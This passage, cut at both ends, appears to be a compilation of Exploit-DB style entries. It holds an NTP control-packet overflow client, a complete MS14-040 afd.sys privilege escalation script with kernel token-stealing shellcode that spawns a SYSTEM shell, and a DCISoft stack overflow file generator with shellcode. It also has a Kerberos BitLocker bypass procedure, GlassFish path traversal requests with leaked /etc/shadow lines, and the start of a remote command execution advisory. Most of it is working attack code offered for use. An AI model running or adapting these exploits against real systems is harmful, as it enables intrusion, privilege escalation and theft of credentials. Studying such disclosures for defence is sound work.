printf("Packet data:\n");
while (xdatalen-- > 0) {
if (first-- == 0) {
printf("\n");
first = 7;
}
printf(" %02x", *cdata++ & 0xff);
}
printf("\n");
}
return 0;
}
void error(char *msg)
{
perror(msg);
exit(0);
}
int main(int argc, char *argv[])
{
char *cfgcmd;
u_short rstatus;
int rsize;
const char *rdata;
char *resp;
int res;
int col;
int i;
int portNum, nBytes;
char buffer[1024];
/*Create UDP socket*/
sockfd = socket(PF_INET, SOCK_DGRAM, 0);
/*Configure settings in address struct*/
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(123);
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
/*Initialize size variable to be used later on*/
addr_size = sizeof serverAddr;
cfgcmd = "setvar A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
res = sendrequest(CTL_OP_CONFIGURE, 0, 1, strlen(cfgcmd), cfgcmd,
&rstatus, &rsize, &rdata);
sleep(5);
cfgcmd = "A";
res = sendrequest(CTL_OP_READVAR, 0, 1, strlen(cfgcmd), cfgcmd,
&rstatus, &rsize, &rdata);
}
/*
* sendrequest - format and send a request packet
*/
int
sendrequest(
int opcode,
int associd,
int auth,
int qsize,
char *qdata
)
{
struct ntp_control qpkt;
int pktsize;
u_long key_id;
char * pass;
int maclen;
/*
* Check to make sure the data will fit in one packet
*/
if (qsize > CTL_MAX_DATA_LEN) {
fprintf(stderr,
"***Internal error! qsize (%d) too large\n",
qsize);
return 1;
}
/*
* Fill in the packet
*/
qpkt.li_vn_mode = PKT_LI_VN_MODE(0, pktversion, MODE_CONTROL);
qpkt.r_m_e_op = (u_char)(opcode & CTL_OP_MASK);
qpkt.sequence = htons(sequence);
qpkt.status = 0;
qpkt.associd = htons((u_short)associd);
qpkt.offset = 0;
qpkt.count = htons((u_short)qsize);
pktsize = CTL_HEADER_LEN;
/*
* If we have data, copy and pad it out to a 32-bit boundary.
*/
if (qsize > 0) {
memcpy(qpkt.data, qdata, (size_t)qsize);
pktsize += qsize;
while (pktsize & (sizeof(uint32_t) - 1)) {
qpkt.data[qsize++] = 0;
pktsize++;
}
}
/*
* If it isn't authenticated we can just send it. Otherwise
* we're going to have to think about it a little.
*/
if (!auth && !always_auth) {
return sendpkt(&qpkt, pktsize);
}
/*
* Pad out packet to a multiple of 8 octets to be sure
* receiver can handle it.
*/
while (pktsize & 7) {
qpkt.data[qsize++] = 0;
pktsize++;
}
/*
* Get the keyid and the password if we don't have one.
*/
if (info_auth_keyid == 0) {
key_id = getkeyid("Keyid: ");
if (key_id == 0 || key_id > NTP_MAXKEY) {
fprintf(stderr,
"Invalid key identifier\n");
return 1;
}
info_auth_keyid = key_id;
}
if (!authistrusted(info_auth_keyid)) {
pass = getpass_keytype(info_auth_keytype);
if ('\0' == pass[0]) {
fprintf(stderr, "Invalid password\n");
return 1;
}
authusekey(info_auth_keyid, info_auth_keytype,
(u_char *)pass);
authtrust(info_auth_keyid, 1);
}
/*
* Do the encryption.
*/
maclen = authencrypt(info_auth_keyid, (void *)&qpkt, pktsize);
if (!maclen) {
fprintf(stderr, "Key not found\n");
return 1;
} else if ((size_t)maclen != (info_auth_hashlen + sizeof(keyid_t))) {
fprintf(stderr,
"%d octet MAC, %lu expected with %lu octet digest\n",
maclen, (u_long)(info_auth_hashlen + sizeof(keyid_t)),
(u_long)info_auth_hashlen);
return 1;
}
return sendpkt((char *)&qpkt, pktsize + maclen);
}
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-02-05
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 32 bit
# Tested on: Win7 x32
# afd.sys - 6.1.7600.16385
# ntdll.dll - 6.1.7600.16385
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
# http://ricklarabee.blogspot.com/
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
# http://www.cvedetails.com/cve/CVE-2014-1767/
#
# Greetz: PWN4GEPWN1E, SecurityMook
from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
kernel32 = windll.kernel32
ntdll = windll.ntdll
Psapi = windll.Psapi
MEMRES = (0x1000 | 0x2000)
PAGEEXE = 0x00000040
Zerobits = c_int(0)
RegionSize = c_int(0x1000)
written = c_int(0)
FakeObjSize = 0xA0
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1
WSAGetLastError = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype = c_int
SOCKET = c_int
WSASocket = windll.Ws2_32.WSASocketA
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype = SOCKET
closesocket = windll.Ws2_32.closesocket
closesocket.argtypes = (SOCKET,)
closesocket.restype = c_int
connect = windll.Ws2_32.connect
connect.argtypes = (SOCKET, c_void_p, c_int)
connect.restype = c_int
class sockaddr_in(Structure):
_fields_ = [
("sin_family", c_short),
("sin_port", c_ushort),
("sin_addr", c_ulong),
("sin_zero", c_char * 8),
]
def findSysBase(drvname=None):
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddy in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddy:
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[+] Retrieving %s info..." % drvname
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
return baseaddy
else:
if drivername.value.lower().find("krnl") !=-1:
print "[+] Retrieving Kernel info..."
print "[+] Kernel version:", drivername.value
print "[+] Kernel base address: %s" % hex(baseaddy)
return (baseaddy, drivername.value)
return None
def CreateBuffer1():
inbuf1size = 0x30
virtualAddress = 0x18888888
length = 0x20000
inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a
inbuf1 += struct.pack("L", length) #0x20
inbuf1 += "\x00" * 0x8 + "\x01"
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
baseadd = c_int(0x1001)
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))
def CreateBuffer2():
inbuf2size = 0x10
addrforbuf2 = 0x0AAAAAAA
inbuf2 = "\x01\x00\x00\x00"
inbuf2 += struct.pack("L", addrforbuf2)
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
baseadd = c_int(0x2001)
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
byref(baseadd),
0x0,
byref(RegionSize),
MEMRES,
PAGEEXE)
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))
def CreateFakeObject():
print "[+] Print creating fakeobject"
fakeobject2addr = 0x2200
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
fakeobj2size = len(fakeobject2)
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x16\x00\x08\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00")
fakeobject = objhead
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))
print "[+] creating socket..."
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
if sock == -1:
print "[-] no luck creating socket!"
sys.exit(1)
print "[+] got sock 0x%x" % sock
addr = sockaddr_in()
addr.sin_family = socket.AF_INET
addr.sin_port = socket.htons(135)
addr.sin_addr = socket.htonl(0x7f000001)
connect(sock, byref(addr), sizeof(addr))
print "[+] sock connected."
print "\n[+] GO!"
(krnlbase, kernelver) = findSysBase()
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += krnlbase
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
halbase = findSysBase("halmacpi.dll")
OS = "7"
if OS == "7":
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
_KPROCESS = "\x50"
_TOKEN = "\xf8"
_UPID = "\xb4"
_APLINKS = "\xb8"
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
IoStatus = c_ulong()
IoStatusBlock = c_ulong()
CreateBuffer1()
CreateBuffer2()
CreateFakeObject()
inbuf1 = 0x1000
inbuf2 = 0x2000
hWF = HANDLE(0)
FakeWorkerFactoryADDR = 0x2100
# Trigger 1
# afd!afdTransmitFile
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
hWFaddr = hWF
print "[+] WorkerFactoryHandle:", hWF.value
hWFaddr = int(addressof(hWF))
shellcode_address = 0x00020700
padding = "\x90"*2
HalDispatchTable0x4 = HalDispatchTable + 0x4
_WFValue = struct.pack("L", hWFaddr)
sc_pointer = struct.pack("L", shellcode_address+0x4)
restore_ptrs = "\x31\xc0" + \
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
"\xa3" + struct.pack("L", HalDispatchTable0x4)
tokenstealing = "\x52" +\
"\x53" +\
"\x33\xc0" +\
"\x64\x8b\x80\x24\x01\x00\x00" +\
"\x8b\x40" + _KPROCESS +\
"\x8b\xc8" +\
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
"\x89\x1d\x00\x09\x02\x00" +\
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
"\x75\xe8" +\
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
"\x8b\xc1" +\
"\x89\x90" + _TOKEN + "\x00\x00\x00"
fixobjheaders = "\x33\xC0" +\
"\x64\x8B\x80\x24\x01\x00\x00" +\
"\x8B\x40\x50" +\
"\x8B\x80\xF4\x00\x00\x00" +\
"\x8B\xD8" +\
"\x8B\x00" +\
"\x8B\x0D" + _WFValue +\
"\x83\xE1\xFC" +\
"\x03\xC9" +\
"\x03\xC1" +\
"\xC7\x00\x00\x00\x00\x00" +\
"\x83\xC3\x30" +\
"\x8B\xC3" +\
"\x8B\x1B" +\
"\x83\xEB\x01" +\
"\x89\x18" +\
"\x5B" +\
"\x5A" +\
"\xC2\x10\x00"
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
shellcode_size = len(shellcode)
orig_size = shellcode_size
startPage = c_int(0x00020000)
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
### Trigger 2
## afd!AfdTransmitPackets
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;
inp = c_ulong()
out = c_ulong()
inp = 0x1337
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
print "[*] Spawning a SYSTEM shell..."
os.system("cmd.exe /K cd c:\\windows\\system32")
# Exploit Title: Alternate Pic View 2.150 PGM CRASH POC
# Date: 14-02-2016
# Exploit Author: Shantanu Khandelwal
# Vendor Homepage: http://www.alternate-tools.com
<https://potplayer.daum.net/>
# Software Link: http://www.alternate-tools.com/pages/c_picview.php?lang=ENG
# Version: 2.150
# Tested on: Windows XP Sp3,Windows 7
# CVE : unknown at the moment
#============================================================================================
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01e57f20 ebx=003b0178 ecx=0065014c edx=e16a9530 esi=01e57f18
edi=003b0000
eip=7c9108b2 esp=0012f448 ebp=0012f504 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
#===========================================================================================
Alternate Pic Viewer crashes on a faulty PGM image file .
Faulty PGM file is attached as POC
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/
#!/usr/bin/env python
#
#
# Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit
#
#
# Vendor: Delta Electronics, Inc.
# Product web page: http://www.delta.com.tw
# Software link: http://www.delta.com.tw/product/em/download/download_main.asp?act=3&pid=3&cid=5&tpid=3
# Affected version: 1.12.09 (Build 12102014)
#
# Summary: DCISoft is a integrated configuration tool of Delta
# network modules (DVPEN01-SL, RTU-EN01, IFD9506, IFD9507, DVPSCM12-SL,
# DVPSCM52-SL) for WINDOWS operation system.
#
# Desc: The vulnerability is caused due to a boundary error in
# the processing of a project file, which can be exploited to
# cause a stack based buffer overflow when a user opens e.g. a
# specially crafted .DCI file. Successful exploitation allows
# execution of arbitrary code on the affected machine.
#
# ----------------------------------------------------------------------------
# (1554.1830): Access violation - code c0000005 (!!! second chance !!!)
# eax=00000001 ebx=0018f684 ecx=44444444 edx=777a4a20 esi=0018f65c edi=777a4a20
# eip=73d34b64 esp=0018cdd8 ebp=0018cdec iopl=0 nv up ei pl nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
# MFC42!Ordinal2740+0x88:
# 73d34b64 8b01 mov eax,dword ptr [ecx] ds:002b:44444444=????????
# 0:000> d esp
# 0018cdd8 1c f6 18 00 a8 a5 47 00-01 00 00 00 01 00 00 00 ......G.........
# 0018cde8 5c f6 18 00 fc cd 18 00-a4 59 41 00 e1 b5 85 88 \........YA.....
# 0018cdf8 5c f6 18 00 d8 f8 18 00-fa 38 41 00 84 f6 18 00 \........8A.....
# 0018ce08 c8 8f 74 02 e8 1f 7c 02-04 ce 18 00 c8 8f 74 02 ..t...|.......t.
# 0018ce18 04 ce 18 00 44 44 44 44-44 44 44 44 44 44 44 44 ....DDDDDDDDDDDD
# 0018ce28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# 0018ce38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# 0018ce48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
# --
# (11bc.1394): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# Defaulted to export symbols for C:\Program Files (x86)\Delta Industrial Automation\Communication\DCISoft 1.12\MFC42.DLL -
# eax=0018cdfc ebx=0018f684 ecx=0018cdec edx=ce085164 esi=0018f65c edi=31f7ae9c
# eip=43434343 esp=0018cdcc ebp=0018cdec iopl=0 nv up ei pl nz ac pe cy
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210217
# 43434343 ?? ???
# ----------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5305
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5305.php
#
#
# 13.11.2015
#
sc = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64"
"\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")
buffer = "\x41" * 156 # align
buffer += "\x3c\xce\x18\x00" # eip - jmp esp+49h
buffer += "\x90" * 15 # nopsled
buffer += sc # 113 bytes messagebox shellcode
buffer += "\x44" * 7926 # extra shellcode space
buffer += "\xec\xcd\x18\x00" # overwrite data segment to control eip - mov eax,dword ptr [ecx]
buffer += "\x45" * 2203 # padding to fix 10421 bytes
f = open ("Detachment.dci", "w")
f.write(buffer)
f.close()
print "File Detachment.dci successfully created!\n"
# Exploit Title: Windows Kerberos Security Feature Bypass
# Date: 12-02-2016
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 Professional (x32/x64)
# CVE : CVE-2016-0049
# Category: Local Exploit
1) Prerequisites:
- Standard Windows 7 Fully patched and member of an existing domain.
- BitLocker enabled without PIN or USB key.
- Password Caching enabled
- Victim has cached credentials stored on the system from previous logon.
2) Reproduce:
STEP 1: Obtain physical access to a desktop or laptop with the above configuration.
STEP 2: Boot system and determine FQDN of the device. (example. CLIENT.domain.local), this can be obtained by monitoring the network broadcast communication, which the system sends prior to loggin in. The username can be extracted from the loginscreen (E.g USER1)
STEP 3: Create Active Directory for the domain you obtained in STEP 2 (domain.local).
STEP 4: Create User with similar name as the previously logged in user. (E.g domain\USER1), and force user to change password upon next login.
STEP 5: Create Computer Object in Active Directory with the same name as the target system. (E.g CLIENT)
STEP 6: Use ADSI Edit and change the attribute ServicePrincipleName of the Computer Object you created in STEP 5, Add the FQDN as following (HOST/CLIENT.domain.local).
STEP 7: Establish network connection between the target system and the newly created Domain Controller.
STEP 8: Login with the password defined in STEP 4.
STEP 9: Target system displays change password screen, set new password and confirm.
STEP 10: Message "Your Password has been changed" is displayed, followed by the following error message "The trust relationship between this workstation and the primary domain failed."
STEP 11: Disconnect Target system's network connection.
STEP 12: Login with the new changed password.
3) Impact:
Access gained to the information stored to the FDE target system without previous knowledge of password or any other information.
4) Solution:
Install the latest patches from 09-02-2016 using Windows Update.
5) References:
https://technet.microsoft.com/en-us/library/security/ms16-014.aspx
https://support.microsoft.com/en-us/kb/3134228
6) Credits:
Vulnerability discovered by Nabeel Ahmed (https://twitter.com/NabeelAhmedBE) and Tom Gilis (https://twitter.com/tgilis) of Dimension Data (https://www.dimensiondata.com)
Trustwave SpiderLabs Security Advisory TWSL2015-016:
Path Traversal in Oracle GlassFish Server Open Source Edition
Published: 08/27/2015
Version: 1.0
Vendor: Oracle Corporation (Project sponsored by Oracle)
Product: GlassFish Server Open Source Edition
Version affected: 4.1 and prior versions
Product description:
Built using the GlassFish Server Open Source Edition, Oracle GlassFish
Server delivers a flexible, lightweight and extensible Java EE 6 platform.
It provides a small footprint, fully featured Java EE application server
that is completely supported for commercial deployment and is available as
a standalone offering.
The Administration Console of Oracle GlassFish Server, which is listening
by default on port 4848/TCP, is prone to a directory traversal
vulnerability. This vulnerability can be exploited by remote attackers to
access sensitive data on the server being authenticated.
Finding 1: Directory traversal
Credit: Piotr Karolak of Trustwave's SpiderLabs
#Proof of Concept on Microsoft Windows installation
The authenticated Directory Traversal vulnerability can be exploited by
issuing a specially crafted HTTP GET request utilizing a simple bypass,
%C0%2F instead of (/),URL encoding.
Example:
REQUEST
========
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/META-INF/json%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/META-INF/dojo%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/META-INF%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/com/sun%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
GET /theme/com%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
Cookie: JSESSIONID=5c47a3575077b014449e17877a0c
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://a.b.c.d:4848/
Host: a.b.c.d:4848
RESPONSE
========
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1 Java/Oracle Corporation/1.8)
Last-Modified: Mon, 12 Jan 2015 10:00:00 GMT
Transfer-Encoding: chunked
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
The response contains the contents of the "win.ini" file, proving that the server allows remote users to download the contents of system files.
#Proof of Concept on Linux installation
Example:
REQUEST
=======
GET /theme/META-INF/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow/
GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow HTTP/1.1
Host: a.b.c.d:4848
Accept: */*
Accept-Language: en
Connection: close
RESPONSE
========
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition 4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1 Java/Oracle Corporation/1.7)
Last-Modified: Tue, 13 Jan 2015 10:00:00 GMT
Date: Tue, 10 Jan 2015 10:00:00 GMT
Connection: close
Content-Length: 1087
root:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
TRUNCATED
lightdm:*:16273:0:99999:7:::
colord:*:16273:0:99999:7:::
hplip:*:16273:0:99999:7:::
pulse:*:16273:0:99999:7:::
test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7:::
smmta:*:16436:0:99999:7:::
smmsp:*:16436:0:99999:7:::
mysql:!:16436:0:99999:7:::
Vendor Response:
"We plan to fix this issue in the next major GlassFish Server Open Source
Edition release."
Remediation Steps:
No fix is available at this time for the GlassFish Server Open Source
Edition release. However, this vulnerability can be mitigated with the use
of technologies, such as Web Application Firewalls (WAF) or Intrusion
Prevention Systems (IPS). Please note that Oracle GlassFish Server 3.x
which is the current commercial release of GlassFish is not affected.
Revision History:
01/12/2015 - Vulnerability disclosed to vendor
02/18/2015 - Notified vendor about the updates to TW security policy
05/19/2015 - Ninety-day deadline exceeded
07/14/2015 - Requested status from vendor
07/31/2015 - Requested status from vendor
08/21/2015 - Notified vendor about public disclosure
08/27/2015 - Advisory published
References
1. https://www.owasp.org/index.php/Path_Traversal
2. https://glassfish.java.net/
3. http://www.oracle.com/us/products/middleware/cloud-app-foundation/glassfish-server/overview/index.html
About Trustwave:
Trustwave helps businesses fight cybercrime, protect data and reduce
security risks. With cloud and managed security services, integrated
technologies and a team of security experts, ethical hackers and
researchers, Trustwave enables businesses to transform the way they manage
their information security and compliance programs while safely embracing
business imperatives including big data, BYOD and social media. More than
2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud
platform, through which Trustwave delivers automated, efficient and
cost-effective data protection, risk management and threat intelligence.
Trustwave is a privately held company, headquartered in Chicago, with
customers in 96 countries. For more information about Trustwave, visit
www.trustwave.com.
About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs
Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.
Vantage Point Security Advisory 2016-001
================================
Title: File Replication Pro Remote Command Execution
Vendor: File Replication Pro
Vendor URL: http://www.filereplicationpro.com/
Versions affected: =< 7.2.0
Severity: High
Vendor notified: Yes
Reported: 29 October 2015
Public release: 10 February 2016
Author: Jerold Hoong and the VP team <jerold[at]vantagepoint[dot]sg>
Permalink:
Summary:
--------
File Replication Pro (FRP) is a file management solution that is used
to back up and copy files from various nodes in the network. Vantage
Point has discovered multiple vulnerabilities in FRP v7.2.0 (and
possibly prior versions) that allow a remote unauthenticated malicious
run arbitrary code with SYSTEM privileges.
The vulnerabilities that were discovered are:
- Unauthenticated Remote Command Execution
- Unauthenticated Remote Arbitrary File Disclosure
- Unauthenticated Directory Traversal and File Listing
1. Unauthenticated Remote Command Execution
-------------------------------------------
The backup agents implements a RPC service port 9200 that supports
various calls, including a function called "ExecCommand" that
unsurprisingly executes shell commands on the system. A password hash
is used to authenticate calls on this interface (note that the hash
itself and not the password is used for authentication). This hash can
